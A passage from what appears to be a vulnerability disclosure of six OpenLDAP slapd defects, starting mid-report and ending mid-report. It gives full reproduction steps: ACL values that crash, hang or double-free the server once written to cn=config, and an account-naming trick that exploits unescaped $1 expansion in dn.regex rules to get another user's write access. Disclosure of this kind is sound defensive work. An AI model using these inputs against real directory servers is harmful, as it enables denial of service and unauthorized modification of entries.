dn.regex="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
read
2. Run it on a sanitizer build:
mkdir -p /tmp/db
slaptest -f /tmp/regtest.conf
Route 2, LDAP Modify of olcAccess (reduced from the test setup; the reduced
form was not re-run): 1. slapd 2.6.16 from a cn=config directory with
olcDatabase={0}config (rootdn "cn=config", password "config") and one mdb
database olcDatabase={1}mdb with suffix "dc=example,dc=org" holding
dc=example,dc=org, ou=people and the user
uid=deleg,ou=people,dc=example,dc=org (userPassword "deleg"), listening on
ldap://127.0.0.1:1389. 2.
ldapmodify -x -H ldap://127.0.0.1:1389 -D cn=config -w config <<'EOF'
dn: olcDatabase={0}config,cn=config
changetype: modify
replace: olcAccess
olcAccess: to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
olcAccess: to dn.base="olcDatabase={1}mdb,cn=config"
attrs=entry,objectClass by dn.exact="uid=deleg,ou=people,dc=example,dc=org"
read by * break
olcAccess: to * by * none
EOF
3. As uid=deleg add a rule whose by-clause regex is 300 characters long
(bash):
A=$(printf 'a%.0s' $(seq 300))
printf 'dn: olcDatabase={1}mdb,cn=config\nchangetype: modify\nadd:
olcAccess\nolcAccess: {0}to * by dn.regex="%s" read by * break\n' "$A" >
/tmp/regtest.ldif
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/regtest.ldif
A proof-of-concept script is available and can be provided on request.
Actual Results:
ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffd98e0ab0
WRITE of size 1 at 0xffffd98e0ab0 thread T0
#0 0xaaaaea9c0f94 (slapd+0x830f94)
#1 0xaaaaea9cf670 in parse_acl
#2 0xaaaaea885f70
#3 0xaaaaea89dce8 in config_set_vals
Frame #0 is not symbolised; it is regtest() by the code and by the frame
description of the second report.
[128, 384) 'buf' (line 128) <== Memory access at offset 384 overflows
this variable
Release build of 2.6.16: according to the test notes there is no crash and the
value is rejected with "regular expression too large"; no output of a release
run was kept.
Expected Results:
The length check should run before the terminating NUL is written (or the loop
should stop one byte earlier), so that nothing is written outside buf; the
over-long pattern is rejected as it is now.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source) as a
sanitizer build (ASan + UBSan, -DSLAP_NO_SL_MALLOC) and as a release build,
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39.
Additional Builds and Platforms:
2.7.2 and master: the same lines by reading (aclparse.c:139 and :158 in both);
not run. 2.5.20, the Ubuntu 24.04 package, Alpine/musl and x86-64: not tested.
Additional Information:
Sanitizer report: stack-buffer-overflow, WRITE of size 1, in regtest()
(aclparse.c) reached from parse_acl(). One NUL byte past a 256-byte stack
buffer; what it overwrites depends on the compiler's stack layout, and a build
with a stack protector might abort. Neither was tested.
No fix was built or tested; not independently reproduced. Direction
(untested): check the length before writing the terminator.
Found by the same fuzzing of the configuration parsers as the stored-value
crashes reported separately (for example "slapd: acl_string_expand reads out
of bounds on huge ${N}"); the fuzzing stopped on this defect 5 times. Unlike
those, no effect on a release build is recorded.
==============================================================================
Issue 2 of 6: "slapd ACL: $n expanded into dn.regex pattern unescaped" (Low)
==============================================================================
Overview:
regex_matches() (servers/slapd/acl.c:2640-2690) expands "$1" from the <what>
clause into the "by dn.regex=" pattern and compiles the result
(REG_EXTENDED|REG_ICASE) without escaping the substituted text, so
regular-expression metacharacters in the target entry's name act as a pattern.
With the form shown in the examples of slapd.access(5), by
dn.regex="^uid=$1,...$", an account whose name matches the victim's name read
as a pattern is granted the access: uid=johnXsmith may modify uid=john.smith
(the dot is a wildcard), and an entry named cn=.* is "owned" by every user.
"dn.exact,expand" is not affected.
Steps to Reproduce:
1. Save this as /tmp/slapd.conf (adjust the schema path; add "moduleload
back_mdb" if it is built as a module):
include /usr/local/etc/openldap/schema/core.schema
include /usr/local/etc/openldap/schema/cosine.schema
include /usr/local/etc/openldap/schema/inetorgperson.schema
pidfile /tmp/slapd.pid
database mdb
suffix dc=example,dc=org
rootdn cn=admin,dc=example,dc=org
rootpw admin
directory /tmp/acl-db
access to attrs=userPassword by self write by anonymous auth by * none
access to dn.regex="^uid=([^,]+),ou=people,dc=example,dc=org$"
attrs=description
by dn.regex="^uid=$1,ou=people,dc=example,dc=org$" write by users read
access to dn.regex="^cn=([^,]+),ou=owned,dc=example,dc=org$"
by dn.regex="^uid=$1,ou=people,dc=example,dc=org$" write by users read
access to dn.regex="^uid=([^,]+),ou=people,dc=example,dc=org$" attrs=title
by dn.exact,expand="uid=$1,ou=people,dc=example,dc=org" write by users
read
access to dn.base="ou=owned,dc=example,dc=org" attrs=children by users
write
access to * by users read by anonymous auth
2. Create the data and start slapd:
S=dc=example,dc=org; mkdir -p /tmp/acl-db
u() { printf 'dn: uid=%s,ou=people,%s\nobjectClass: inetOrgPerson\nuid:
%s\ncn: x\nsn: x\ndescription: original\ntitle: original\nuserPassword: pw\n\n'
"$1" $S "$1"; }
{ printf 'dn: %s\nobjectClass: dcObject\nobjectClass: organization\no:
Example\ndc: example\n\n' $S
printf 'dn: ou=people,%s\nobjectClass: organizationalUnit\nou:
people\n\ndn: ou=owned,%s\nobjectClass: organizationalUnit\nou: owned\n\n' $S
$S
u john.smith; u johnXsmith; u bob; } | slapadd -f /tmp/slapd.conf
slapd -f /tmp/slapd.conf -h ldap://127.0.0.1:1389 -d stats
3. As uid=johnXsmith replace "description" on uid=john.smith:
printf 'dn: uid=john.smith,ou=people,%s\nchangetype: modify\nreplace:
description\ndescription: by-johnXsmith\n' $S |
ldapmodify -x -H ldap://127.0.0.1:1389 -D "uid=johnXsmith,ou=people,$S"
-w pw
4. Control: the same modify with -D "uid=bob,ou=people,$S". Second control:
as johnXsmith the same modify with "title" in place of "description" (the
dn.exact,expand rule).
5. Variant on the add rule (cn=<name>,ou=owned writable by uid=<name>): as
bob add cn=.*,ou=owned,dc=example,dc=org, then modify it as johnXsmith:
printf 'dn: cn=.*,ou=owned,%s\nobjectClass: organizationalRole\ncn: .*\n'
$S |
ldapadd -x -H ldap://127.0.0.1:1389 -D "uid=bob,ou=people,$S" -w pw
printf 'dn: cn=.*,ou=owned,%s\nchangetype: modify\nreplace:
description\ndescription: x\n' $S |
ldapmodify -x -H ldap://127.0.0.1:1389 -D "uid=johnXsmith,ou=people,$S"
-w pw
A proof-of-concept script is available and can be provided on request.
Actual Results:
Step 3: the modify succeeds (result 0). Step 4: bob gets 50; johnXsmith's
modify of "title" under the dn.exact,expand rule is refused. Step 5: bob
creates "cn=.*" (and likewise "cn=bo(b|x)"), entries that every user, or
several users, are then allowed to write; johnXsmith modifies "cn=.*". Bob's
add of cn=johnXsmith is refused. Two runs on 2.6.16 and one on 2.7.2 gave the
same results; not reproduced independently.
Expected Results:
The substituted text should be matched literally (escaped before the pattern
is compiled), or slapd.access(5) should state that substituted text is treated
as a pattern and recommend "expand".
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag, built from source), Linux arm64 (aarch64),
Ubuntu 24.04 userland, glibc 2.39. OpenLDAP 2.7.2 (release tag): same results
(one run).
Additional Builds and Platforms:
OpenLDAP 2.6.16 (release tag, built from source, Linux arm64), two runs; 2.7.2
(release tag), one run, same results. master, 2.5.x, distribution packages,
Alpine/musl, x86-64: not tested.
Additional Information:
Not a crash; an access-control weakness in a documented ACL form (CWE-625,
CWE-185). Root cause: regex_matches(), servers/slapd/acl.c:2640-2690, builds
the pattern by string substitution of the submatch and passes it to
regcomp(). slapd.access(5) describes the substitution, shows this form in its
examples and suggests "expand" only as a convenience.
No fix was built. Suggested direction (untested): escape regular-expression
metacharacters in the substituted text before the pattern is compiled, or
state in slapd.access(5) that substituted text is treated as a pattern and
recommend "dn.exact,expand".
Limit: observed by one tester; not verified independently.
Impact: Incorrect authorization under a documented ACL form: an account whose
name matches the victim's name, when the victim's name is read as a regular
expression, receives the access meant for the victim (here write access to an
attribute of the victim's entry). It needs an ACL of the form "by
dn.regex=...$1..." and such a pair of names; user ids containing dots are
common, and where users can choose entry names (the add variant) they can
choose a name that matches everyone.
==============================================================================
Issue 3 of 6: "slapd: acl_string_expand reads out of bounds on huge ${N}"
(Hardening suggestion)
==============================================================================
Overview:
This is a hardening suggestion for a privileged configuration writer: it
starts from write access to olcAccess in cn=config, which the documentation
already treats as a privileged right. The writer in the test was an ordinary
directory user delegated write access to that one attribute (not a rootdn);
the config rootdn has the same effect, and so has an honest mistake by the
administrator. acl_string_expand() (servers/slapd/acl.c, 2.6.16 line 2569)
accumulates the submatch index of "${N}" with n = 10*n + digit in a plain int
and afterwards only checks n >= nm (line 2593). "${2147483648}" wraps to
INT_MIN and "${4294967295}" to -1, so m[n] is read outside the AclRegexMatches
array on the stack and its rm_so / rm_eo are used to copy from the matched
string. The value is accepted and stored; from then on any request that
evaluates the rule, including an anonymous search, crashes slapd, and it
crashes again after every restart until cn=config is repaired offline.
Steps to Reproduce:
1. The config ACLs let the ordinary user uid=deleg write only olcAuthzRegexp
on cn=config, olcAccess of the mdb database and olcRwmRewrite of the rwm
overlay; the config rootdn (cn=config / config) can be used in place of
uid=deleg with the same result:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload back_relay
moduleload rwm
pidfile /tmp/repro/slapd.pid
authz-regexp "^uid=([^,]*),cn=[^,]*,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
password-hash {CLEARTEXT}
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/data
maxsize 268435456
access to attrs=userPassword by self write by anonymous auth by * none
access to * by * read
database relay
suffix "dc=relay"
relay "dc=example,dc=org"
overlay rwm
rwm-suffixmassage "dc=relay" "dc=example,dc=org"
access to * by * read
database config
rootdn "cn=config"
rootpw config
access to dn.base="cn=config" attrs=olcAuthzRegexp by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcOverlay={0}rwm,olcDatabase={2}relay,cn=config"
attrs=olcRwmRewrite,entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to * by * none
2. Data /tmp/repro/data.ldif:
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: uid=deleg,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: deleg
cn: deleg
sn: deleg
userPassword: deleg
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice
sn: alice
mail: alice(a)example.org
userPassword: alice
3. Convert, load and start slapd in the foreground, so that its exit status
and stderr are visible:
mkdir -p /tmp/repro/slapd.d /tmp/repro/data
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
slapadd -F /tmp/repro/slapd.d -b dc=example,dc=org -l /tmp/repro/data.ldif
slapd -h ldap://127.0.0.1:1389 -F /tmp/repro/slapd.d -d stats
Control: as uid=deleg a replace of olcLogLevel on cn=config and a replace of
olcRootPW on olcDatabase={1}mdb,cn=config both return 50 (insufficient
access); uid=deleg is not a rootdn. 4.
dn: olcDatabase={1}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to dn.regex="^uid=([^,]+),ou=people,dc=example,dc=org$" by
dn.exact,expand="uid=${2147483648},ou=people,dc=example,dc=org" read by * break
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/acl-expand.ldif
5. Without binding:
ldapsearch -x -H ldap://127.0.0.1:1389 -b
uid=alice,ou=people,dc=example,dc=org -s base -LLL 1.1
6. Start slapd again with the same command and repeat step 5.
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release builds of 2.6.16 and 2.7.2: the modify returns 0 (the rule is stored).
In step 5 the client loses its connection (ldapsearch exit 255) and slapd
exits with SIGSEGV (exit status 139). After the restart slapd answers the
rootDSE, and the next anonymous search kills it again (exit status 139).
Expected Results:
parse_acl() should reject a submatch index that is out of range, and
acl_string_expand() should bound the index while parsing it.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39; also a 2.6.16
sanitizer build (ASan, -DSLAP_NO_SL_MALLOC) on the same platform.
Additional Builds and Platforms:
2.7.2 release build (arm64): same result (SIGSEGV). Ubuntu 24.04 slapd package
2.6.10+dfsg-0ubuntu0.24.04.1: reproduces with the same steps. master: the
lines are unchanged by reading the source; not run. 2.5.20, Alpine/musl and
x86-64: not tested.
Additional Information:
Crash type: SIGSEGV, out-of-bounds stack read in acl_string_expand(),
acl.c:2569/2593; reached from every ".expand" by-clause style (dn, group, set,
peername, sockname, domain, sockurl). The read is from stack offsets
influenced by the stored value; no write and no disclosure to the client were
shown.
The ACI code (OpenLDAPaci) calls acl_string_expand() with the same "${N}"
parsing; that route was not tested because ACI support was not compiled in.
No fix was built or tested. Direction (untested): stop at the first index >=
nm (or use an unsigned type with an overflow check) and reject such patterns
in parse_acl().
No ITS or commit was found for this (ITS#1963 and ITS#2285 concern buffer
sizes in string_expand).
Six other values that crash or hang slapd when written to cn=config were found
by the same fuzzing of the configuration parsers, each reported separately:
"slapd: slap_set_filter crashes on set="((this" in an ACL"; "librewrite:
rewrite_subst_apply length overflows int, OOM"; "slapd: double free on failing
olcAuthzRegexp value"; "slapd: parse_acl loops forever on "$x" in an expand
clause"; "slapo-rwm: rejected rwm-rewriteMap is kept, later assert"; "slapd:
parse_acl double free on "by * break break"".
==============================================================================
Issue 4 of 6: "slapd: slap_set_filter crashes on set="((this" in an ACL"
(Hardening suggestion)
==============================================================================
Overview:
This is a hardening suggestion for a privileged configuration writer: it
starts from write access to olcAccess in cn=config, which the documentation
already treats as a privileged right. The writer in the test was an ordinary
directory user delegated write access to that one attribute (not a rootdn);
the config rootdn has the same effect, and so has an honest mistake by the
administrator. In slap_set_filter() (servers/slapd/sets.c) operators and
parentheses share one stack with set pointers and are told apart by IS_OP(x),
that is, value < 256. At the end of the input with two unmatched "(",
IS_OP(SF_TOP()) is true for the parenthesis, lset = SF_POP() returns the
character '(' (0x28) as if it were a BerVarray, and slap_set_join()
dereferences and frees it. The set expression is not validated when the ACL is
parsed, so the value is accepted and stored; any request that evaluates the
rule, including an anonymous search, then crashes slapd, again after every
restart.
Steps to Reproduce:
1. The config ACLs let the ordinary user uid=deleg write only olcAuthzRegexp
on cn=config, olcAccess of the mdb database and olcRwmRewrite of the rwm
overlay; the config rootdn (cn=config / config) can be used in place of
uid=deleg with the same result:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload back_relay
moduleload rwm
pidfile /tmp/repro/slapd.pid
authz-regexp "^uid=([^,]*),cn=[^,]*,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
password-hash {CLEARTEXT}
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/data
maxsize 268435456
access to attrs=userPassword by self write by anonymous auth by * none
access to * by * read
database relay
suffix "dc=relay"
relay "dc=example,dc=org"
overlay rwm
rwm-suffixmassage "dc=relay" "dc=example,dc=org"
access to * by * read
database config
rootdn "cn=config"
rootpw config
access to dn.base="cn=config" attrs=olcAuthzRegexp by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcOverlay={0}rwm,olcDatabase={2}relay,cn=config"
attrs=olcRwmRewrite,entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to * by * none
2. Data /tmp/repro/data.ldif:
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: uid=deleg,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: deleg
cn: deleg
sn: deleg
userPassword: deleg
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice
sn: alice
mail: alice(a)example.org
userPassword: alice
3. Convert, load and start slapd in the foreground, so that its exit status
and stderr are visible:
mkdir -p /tmp/repro/slapd.d /tmp/repro/data
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
slapadd -F /tmp/repro/slapd.d -b dc=example,dc=org -l /tmp/repro/data.ldif
slapd -h ldap://127.0.0.1:1389 -F /tmp/repro/slapd.d -d stats
Control: as uid=deleg a replace of olcLogLevel on cn=config and a replace of
olcRootPW on olcDatabase={1}mdb,cn=config both return 50 (insufficient
access); uid=deleg is not a rootdn. 4.
dn: olcDatabase={1}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to * by set="((this" read by * break
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/set-parse.ldif
5. Without binding:
ldapsearch -x -H ldap://127.0.0.1:1389 -b dc=example,dc=org -s sub -LLL
'(uid=a*)' 1.1
6. Start slapd again with the same command and repeat step 5.
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release builds of 2.6.16 and 2.7.2: the modify returns 0. The anonymous search
loses its connection (exit 255) and slapd exits with SIGSEGV (exit status
139); after a restart it answers the rootDSE and crashes again on the next
anonymous search (exit 139).
Expected Results:
An unbalanced set expression should be rejected as a syntax error, preferably
when the ACL is parsed and in any case before a popped operator marker is used
as a set.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39; also a 2.6.16
sanitizer build (ASan, -DSLAP_NO_SL_MALLOC) on the same platform.
Additional Builds and Platforms:
2.7.2 release build (arm64): same result (SIGSEGV). Ubuntu 24.04 slapd package
2.6.10: reproduces with the same steps. master: slap_set_filter() is unchanged
by reading (master's only change to sets.c since 2.6.16 adds NULL checks after
slap_set_join); not run. 2.5.20, Alpine/musl and x86-64: not tested.
Additional Information:
Crash type: SIGSEGV (invalid read/free of the address 0x28 plus an offset) in
ber_bvarray_free_x() called from slap_set_join(); root cause in
slap_set_filter(), sets.c. Denial of service only was shown. The fuzzing run
stopped on this defect 13 times.
No fix was built or tested. Direction (untested): check that popped operands
are not operator markers; validate set syntax in parse_acl().
Six other values that crash or hang slapd when written to cn=config were found
by the same fuzzing of the configuration parsers, each reported separately:
"slapd: acl_string_expand reads out of bounds on huge ${N}"; "librewrite:
rewrite_subst_apply length overflows int, OOM"; "slapd: double free on failing
olcAuthzRegexp value"; "slapd: parse_acl loops forever on "$x" in an expand
clause"; "slapo-rwm: rejected rwm-rewriteMap is kept, later assert"; "slapd:
parse_acl double free on "by * break break"".
==============================================================================
Issue 5 of 6: "slapd: parse_acl loops forever on "$x" in an expand clause"
(Hardening suggestion)
==============================================================================
Overview:
This is a hardening suggestion for a privileged configuration writer (write
access to olcAccess in cn=config, or an edit of slapd.conf); a typo is enough.
The writer in the test was an ordinary directory user delegated write access
to olcAccess of one database (not a rootdn). In parse_acl()
(servers/slapd/aclparse.c, 2.6.16 line 964) the sanity scan of an ",expand"
pattern is
for ( exp = strchr( pat, '$' ); exp; exp = strchr( exp, '$' ) )
and exp only moves on inside the loop body when the "$" is followed by a digit
or "{". With "$x" the scan finds the same "$" forever. Over cn=config the loop
runs inside the modify, while the thread pool is paused, so the whole server
stops answering every client until it is restarted.
Steps to Reproduce:
1. The config ACLs let the ordinary user uid=deleg write only olcAuthzRegexp
on cn=config, olcAccess of the mdb database and olcRwmRewrite of the rwm
overlay; the config rootdn (cn=config / config) can be used in place of
uid=deleg with the same result:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload back_relay
moduleload rwm
pidfile /tmp/repro/slapd.pid
authz-regexp "^uid=([^,]*),cn=[^,]*,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
password-hash {CLEARTEXT}
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/data
maxsize 268435456
access to attrs=userPassword by self write by anonymous auth by * none
access to * by * read
database relay
suffix "dc=relay"
relay "dc=example,dc=org"
overlay rwm
rwm-suffixmassage "dc=relay" "dc=example,dc=org"
access to * by * read
database config
rootdn "cn=config"
rootpw config
access to dn.base="cn=config" attrs=olcAuthzRegexp by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcOverlay={0}rwm,olcDatabase={2}relay,cn=config"
attrs=olcRwmRewrite,entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to * by * none
2. Data /tmp/repro/data.ldif:
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: uid=deleg,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: deleg
cn: deleg
sn: deleg
userPassword: deleg
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice
sn: alice
mail: alice(a)example.org
userPassword: alice
3. Convert, load and start slapd in the foreground, so that its exit status
and stderr are visible:
mkdir -p /tmp/repro/slapd.d /tmp/repro/data
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
slapadd -F /tmp/repro/slapd.d -b dc=example,dc=org -l /tmp/repro/data.ldif
slapd -h ldap://127.0.0.1:1389 -F /tmp/repro/slapd.d -d stats
Control: as uid=deleg a replace of olcLogLevel on cn=config and a replace of
olcRootPW on olcDatabase={1}mdb,cn=config both return 50 (insufficient
access); uid=deleg is not a rootdn. 4.
dn: olcDatabase={1}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to * by dn.exact,expand="uid=$x$1" read by * break
timeout 10 ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/expand-hang.ldif
5. While it hangs, from another client and without binding:
timeout 5 ldapsearch -x -H ldap://127.0.0.1:1389 -b "" -s base -LLL 1.1
6. Read the CPU time of slapd twice, 3 seconds apart:
awk '{print $14+$15}' /proc/$(pidof slapd)/stat
The same olcAccess line as an "access to" line in a slapd.conf makes "slaptest
-f" hang.
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release builds of 2.6.16 and 2.7.2: the modify never returns (timeout exit
124). The anonymous rootDSE search gets no answer either (exit 124). slapd's
CPU time grew by 302 clock ticks in 3 seconds (one core spinning; 1501 to 1803
in the 2.6.16 run) and the process still shows as running. The value is never
stored, so a restart recovers the server. The output of both runs is supplied
as release-output-2.6.16-2.7.2.txt.
Expected Results:
The scan should advance past the "$" (or the pattern should be rejected) and
the modify should return an error.
Build Date & Hardware:
OpenLDAP 2.6.16 (release tag OPENLDAP_REL_ENG_2_6_16, built from source),
Linux arm64 (aarch64), Ubuntu 24.04 userland, glibc 2.39.
Additional Builds and Platforms:
2.7.2 release build (arm64): same result (server-wide hang). Ubuntu 24.04
slapd package 2.6.10: reproduces with the same steps. master: the strchr( exp,
'$' ) loop is unchanged by reading; not run. 2.5.20, Alpine/musl and x86-64:
not tested.
Additional Information:
Failure type: infinite loop in parse_acl(), aclparse.c:964, with the thread
pool paused; no crash and no sanitizer report. A monitoring check that only
looks at the process does not notice the hang.
No fix was built or tested. Direction (untested): exp = strchr( exp + 1, '$'
), or reject the pattern.
Six other values that crash or hang slapd when written to cn=config were found
by the same fuzzing of the configuration parsers, each reported separately:
"slapd: acl_string_expand reads out of bounds on huge ${N}"; "slapd:
slap_set_filter crashes on set="((this" in an ACL"; "librewrite:
rewrite_subst_apply length overflows int, OOM"; "slapd: double free on failing
olcAuthzRegexp value"; "slapo-rwm: rejected rwm-rewriteMap is kept, later
assert"; "slapd: parse_acl double free on "by * break break"".
==============================================================================
Issue 6 of 6: "slapd: parse_acl double free on "by * break break"" (Hardening
suggestion)
==============================================================================
Overview:
This is a hardening suggestion for a privileged configuration writer (write
access to olcAccess in cn=config, or an edit of slapd.conf); a plain typo is
enough. The writer in the test was an ordinary directory user delegated write
access to olcAccess of one database (not a rootdn). In parse_acl()
(servers/slapd/aclparse.c) a control keyword (break, stop, continue) appends
the current by-clause b to a->acl_access and continues. If the next token is
not "by", the code jumps to the failure path, which calls access_free( b ) and
then acl_free( a ); acl_free() frees b a second time because it is already on
the list.
Steps to Reproduce:
1. The config ACLs let the ordinary user uid=deleg write only olcAuthzRegexp
on cn=config, olcAccess of the mdb database and olcRwmRewrite of the rwm
overlay; the config rootdn (cn=config / config) can be used in place of
uid=deleg with the same result:
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/inetorgperson.schema
modulepath /usr/lib/ldap
moduleload back_mdb
moduleload back_relay
moduleload rwm
pidfile /tmp/repro/slapd.pid
authz-regexp "^uid=([^,]*),cn=[^,]*,cn=auth$"
"uid=$1,ou=people,dc=example,dc=org"
password-hash {CLEARTEXT}
database mdb
suffix "dc=example,dc=org"
rootdn "cn=admin,dc=example,dc=org"
rootpw admin
directory /tmp/repro/data
maxsize 268435456
access to attrs=userPassword by self write by anonymous auth by * none
access to * by * read
database relay
suffix "dc=relay"
relay "dc=example,dc=org"
overlay rwm
rwm-suffixmassage "dc=relay" "dc=example,dc=org"
access to * by * read
database config
rootdn "cn=config"
rootpw config
access to dn.base="cn=config" attrs=olcAuthzRegexp by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=olcAccess by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to dn.base="olcDatabase={1}mdb,cn=config" attrs=entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" read by * break
access to dn.base="olcOverlay={0}rwm,olcDatabase={2}relay,cn=config"
attrs=olcRwmRewrite,entry,objectClass by
dn.exact="uid=deleg,ou=people,dc=example,dc=org" write by * break
access to * by * none
2. Data /tmp/repro/data.ldif:
dn: dc=example,dc=org
objectClass: dcObject
objectClass: organization
o: Example
dc: example
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: uid=deleg,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: deleg
cn: deleg
sn: deleg
userPassword: deleg
dn: uid=alice,ou=people,dc=example,dc=org
objectClass: inetOrgPerson
uid: alice
cn: alice
sn: alice
mail: alice(a)example.org
userPassword: alice
3. Convert, load and start slapd in the foreground, so that its exit status
and stderr are visible:
mkdir -p /tmp/repro/slapd.d /tmp/repro/data
slaptest -f /tmp/repro/slapd.conf -F /tmp/repro/slapd.d
slapadd -F /tmp/repro/slapd.d -b dc=example,dc=org -l /tmp/repro/data.ldif
slapd -h ldap://127.0.0.1:1389 -F /tmp/repro/slapd.d -d stats
Control: as uid=deleg a replace of olcLogLevel on cn=config and a replace of
olcRootPW on olcDatabase={1}mdb,cn=config both return 50 (insufficient
access); uid=deleg is not a rootdn. 4.
dn: olcDatabase={1}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to * by * break break
ldapmodify -x -H ldap://127.0.0.1:1389 -D
uid=deleg,ou=people,dc=example,dc=org -w deleg -f /tmp/repro/acl-ctrl.ldif
The same line as an "access to" line in slapd.conf has the same effect.
A proof-of-concept script is available and can be provided on request.
Actual Results:
Release builds of 2.6.16 and 2.7.2: the client loses its connection (exit 255)
and slapd aborts (exit status 134) with
free(): double free detected in tcache 2
The value is never stored, so a restart recovers the server.
Expected Results:
